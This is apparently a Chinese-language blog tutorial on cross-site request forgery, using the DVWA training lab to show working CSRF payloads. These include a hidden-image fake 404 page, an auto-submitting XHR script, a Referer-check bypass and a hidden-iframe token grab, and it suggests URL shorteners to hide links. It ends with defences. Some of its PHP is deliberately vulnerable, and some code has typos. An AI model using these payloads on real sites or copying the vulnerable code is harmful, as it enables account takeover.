CSRF漏洞原理浅谈
By : Mirror王宇阳
E-mail : mirrorwangyuyang@gmail.com
笔者并未深挖过CSRF，内容居多是参考《Web安全深度剖析》、《白帽子讲web安全》等诸多网络技术文章
CSRF跨站请求攻击，和XSS有相似之处；攻击者利用CSRF可以盗用用户的身份进行攻击
CSRF攻击原理
部分摘自《Web安全深度剖析》第十章
当我们打开或登录某个网站后，浏览器与网站所存放的服务器将会产生一个会话，在会话结束前，用户就可以利用具有的网站权限对网站进行操作（如：发表文章、发送邮件、删除文章等）。会话借宿后，在进行权限操作，网站就会告知会话超期或重新登录。
当登录网站后，浏览器就会和可信的站点建立一个经过认证的会话。所有通过这个经过认证的会话发送请求，都被认定为可信的行为，例如转账、汇款等操作。当这个会话认证的时间过长或者自主结束断开；必须重新建立经过认证的可信安全的会话。
CSRF攻击是建立在会话之上。比如：登录了网上银行，正在进行转账业务，这是攻击者给你发来一个URL，这个URL是攻击者精心构造的Payload，攻击者精心构造的转账业务代码，而且与你登录的是同一家银行，当你认为这是安全的链接后点击进去，你的钱就没了！
比如想给用户xxser转账1000元，正常的URL是：
secbug.org/pay.jsp?user=xxser&money=1000
而攻击者构造的URL则是：
secbug.org/pay.jsp?user=hack&money=10000
CSRF漏洞利用
CSRF漏洞常常被用来制作蠕虫攻击、SEO流量等
分析漏洞代码
- 获取GET参数username和password，然后通过select语句查询是否存在对应的用户，如果存在通过$_SESSION设置一个session:isadmin=admin ，否则设置session：isadmin=guest
- 判断session中的isadmin是否为admin，如果isadmin!=admin说明用户没有登录，那么跳转到登录页面。所以只有在管理员登录后才可以执行用户的操作
- 获取POST参数username和password然后插入users表中，完成添加用户的操作
<?php
session_start();
if (isset($_GET['login'])) {
$con=mysqli_connect("127.0.0.1","root","123456","test");
if (mysql_connect_errno()) {
echo "连接失败".mysql_connect_errno();
}
$username = addslashes($_GET['username']);
$password = $_GET['password'];
$result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");
$row = mysqli_fetch_array($result);
if($row){
$_SESSION['isadmin'] = 'admin';
exit("登录成功");
} else{
$_SESSION['isadmin'] = 'guest';
exit("登录失败");
}
} else{
$_SESSION['isadmin'] = 'guest';
}
if($_SESSION['isadmin'] != 'admin'){
exit("请登录……");
}
if(isset($_POST['submit'])){
if (isset($_POST['username'])) {
$result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");
exit($_POST['username']."添加成功");
}
}
?>
这是后台php源码
攻击者需要做的就是构造一个请求，请求的URL就是php文件的URL，参数是submit=1&username=1&password=1,请求payload会自动的利用源码的特性添加一个用户
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CSRF漏洞实践</title>
</head>
<body>
<script type="text/javascript">
var pauses = new Array("16");
var methods = new Array("POST");
var urls = new Array("isadmin.php");
var params = new Array("submit=1&username=1&password=1");
function pausecomp(millis){
var date = new Date();
var curDate = null ;
do{
curDate = new Date();
}while(curDate-date<millis);
}
function run(){
var count = 1 ;
var i = 0 ;
for( i=0 ; i < count ; i ++){
makeXHR(methods[i],urls[i],params[i])；
pausecomp(pausecomp[i]);
}
}
var http_request = false ;
function makeXHR(method , url , paramters){
http_request = false ;
if(window.XMLHttpRequest){
http_request = new XMLHttpRequest() ;
if(http_request.overrideMinmeType){
http_request.overrideMinmeType('text/html');
}
} else if(window.ActiveXObject){
try{
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch(e){
try{
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e){ }
}
}
if(!http_request){
alert('Cannot create XMLHTTP instance');
return false;
}
if(method == 'GET'){
if(url.indexOf('?') == -1){
url = url + '?' + paramters;
} else{
url = url + '&' + paramters;
}
http_request.open(method,url,true);
http_request.send("");
} else if(method == 'POST'){
http_request.open(method,url,true);
http_request.setRequestHeader("Content-type","application/x-www.form-urlencoded");
http_request.setRequestHeader("Content-length",paramters.length);
http_request.setRequestHeader("Connection","close");
http_request.send(paramters);
}
}
</script>
</body>
</html>
DVWA平台CSRF
笔者找不到比较好的源码，于是找到了DVWA~~
Low
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前端源码
<h3>Change your admin password:</h3> <br> <form action="#" method="GET"> New password:<br> <input autocomplete="off" name="password_new" type="password"><br> Confirm new password:<br> <input autocomplete="off" name="password_conf" type="password"><br> <br> <input value="Change" name="Change" type="submit"> </form>前端的源码非常的简单，是一个修改密码的CSRF，表单采用GET方式Change提交
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后端源码
<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>可以看见后端接收数据后会验证两次密码是否重复，然后修改密码~~~
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构造Payload
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#我们将Payload发送给受害者，受害者处于会话保持（登录状态）中，受害者一旦点击这个URL链接，就意味着受害者执行了同样的操作；这个过程就是CSRF
笔者处于的DVWA使用的登录密码，而我的密码就被改为“123456”
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重点
这里的攻击成立是利用受害者的Cookie向服务器发送伪造请求（Payload），如果用户使用的是一个与xxser.com保持会话登录的浏览器点击Payload-URL，受害者的密码就会发生更改。
哦！对了！这么裸露的攻击Payload在2019年安全意识高端的现代，是不会有人点击的！这个时候我们就有好玩的一个工具叫：“短链接”，百度、新浪的短网址服务都可以！
为了减少图片内容，我们当密码修改后的页面会提示“Password Changed.”
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高明的做法（从一位前辈copy过来的，忘记链接了！）
都知道会出现提示，要想悄悄的修改！可以建立一个攻击网页，诱骗受害者访问
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Payload</title> </head> <body> <img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none"> <h1>404</h1> <h2>file not found.</h2> </body> </html>页面的作用是加载一个伪404的页面；实际上一旦访问这个页面，就会加载图片，所谓加载图片就是加载
src属性，而src属性则为Payload-URL，实际的行为就是加载该html页面的同时图片会加载，也就执行了Payload 你说好不好玩！加载一个404伪页面，就把自己的密码给该了，而且自己还不知道！
Medium
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后端源码（ 添加了http_referer头的校验 ）
<?php if( isset( $_GET[ 'Change' ] ) ) { // HTTP_REFERER :查询当前页的前一页的地址信息 // SERVER_NAME :获取域名 if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // stripos() :查字符第一次出现的位置， $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>检查HTTP_REFERER（http数据包的referer参数值）即上一级URL地址信息是否包含当前HTTP数据包中的Host参数值；包含则表示当前页面是从DVWA即上一级URL合法的行为。
合法的http数据包：
GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/ Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943 X-Forwarded-For: 8.8.8.8 Connection: keep-alive Upgrade-Insecure-Requests: 1留意第2行、第8行
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分析绕过
但是stripos()函数写的头验证是可以绕过的~ stripos()函数是多次匹配； 只要包含了目标主机地址就可以绕过stripos()函数写的验证语句
如果我们依旧按照建立一个伪造的攻击页面，stripos()头验证就会验证，然而页面并不是来自DVWA；于是深挖stripos()函数的漏洞，发现函数会多次匹配，于是思路就是建立一个假的文件名，通过一个伪造的文件名，绕过stripos()的验证
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Payload
GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://127.0.0.1/127.0.0.1.html Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943 X-Forwarded-For: 8.8.8.8 Connection: keep-alive这里注意！我们将Payload命名为“127.0.0.1.html”，
High
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后端源码
<?php if( isset( $_GET[ 'Change' ] ) ) { // 加入 Anti-CSRF token机制 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>加入 Anti-CSRF Token机制，用户访问改密页面时，服务器返回token，只有用户提交token参数才可以进行改密行为！
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分析绕过
我们构造Payload页面的时候，就需要考虑到执行改密行为必须向服务器发送token，而token只有在改密页面才可以获得；
根据前辈的思路：利用受害者的cookie去改密页面获取token
<script type="text/javascript"> function attack() { document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value; document.getElementById("transfer").submit(); } </script> <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"> </iframe> <body οnlοad="attack()"> <form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form> </body>攻击思路是当受害者点击进入这个页面，脚本会通过一个看不见框架偷偷访问修改密码的页面，获取页面中的token，并向服务器发送改密请求，以完成CSRF攻击。
然而理想与现实的差距是巨大的，这里牵扯到了跨域问题，而现在的浏览器是不允许跨域请求的。这里简单解释下跨域，我们的框架iframe访问的地址是http://169.254.36.73/DVWA-master/vulnerabilities/csrf/，位于服务器169.254.36.73上，而我们的攻击页面位于黑客服务器上，两者的域名不同，域名B下的所有页面都不允许主动获取域名A下的页面内容，除非域名A下的页面主动发送信息给域名B的页面，所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的，所以我们要将攻击代码注入到目标服务器169.254.36.73中，才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token（因为这里的XSS注入有长度限制，不能够注入完整的攻击脚本，所以只获取Anti-CSRF token）
这里的Name存在XSS漏洞，于是抓包，改参数，成功弹出token
原文链接：https://blog.csdn.net/liweibin812/article/details/86468880
笔者通过DVWA平台的CSRF实例，简单的总结了CSRF的特性和应对措施，也由于笔者没有就这方面进行研究，没有办法进一步深度的解剖原理
CSRF应对措施
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从DVWA的测试中总结：
在Impossible级别的源码中，利用了PDO技术防御SQL注入，防护CSRF方面则要求用户原始密码；攻击者在不知道原始密码的情况下是无法进行CSRF的哦！笔者从网络中搜集了几篇文章，笔者对这些文章就不做剖解了直接copy地址
PDO防SQL注入原理分析：https://www.cnblogs.com/leezhxing/p/5282437.html
CSRF防御手段
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使用POST，限制GET
GET方式最容易受到CSRF攻击，只要简单的构造payload就可能导致CSRF；使用POST可以大程度的减低CSRF曝光率
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浏览器Cookie策略
老浏览器会拦截第三方本地Cookie的发送，而新浏览器则不会拦截发送；
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添加验证码
简单粗暴还有效；可以大程度的增加人机交互的过程，避免用户被悄悄的偷袭
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Referer Check
检查请求是否来自于合法的源
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Anti CSRF Token
Token的值必须是随机的，不可预测的。由于Token的存在，攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性，尽量把敏感操作由GET改为POST，以form或AJAX形式提交，避免Token泄露。
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总结：
CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式，通常使用Anti CSRF Token来防御CSRF攻击，同时要注意Token的保密性和随机性。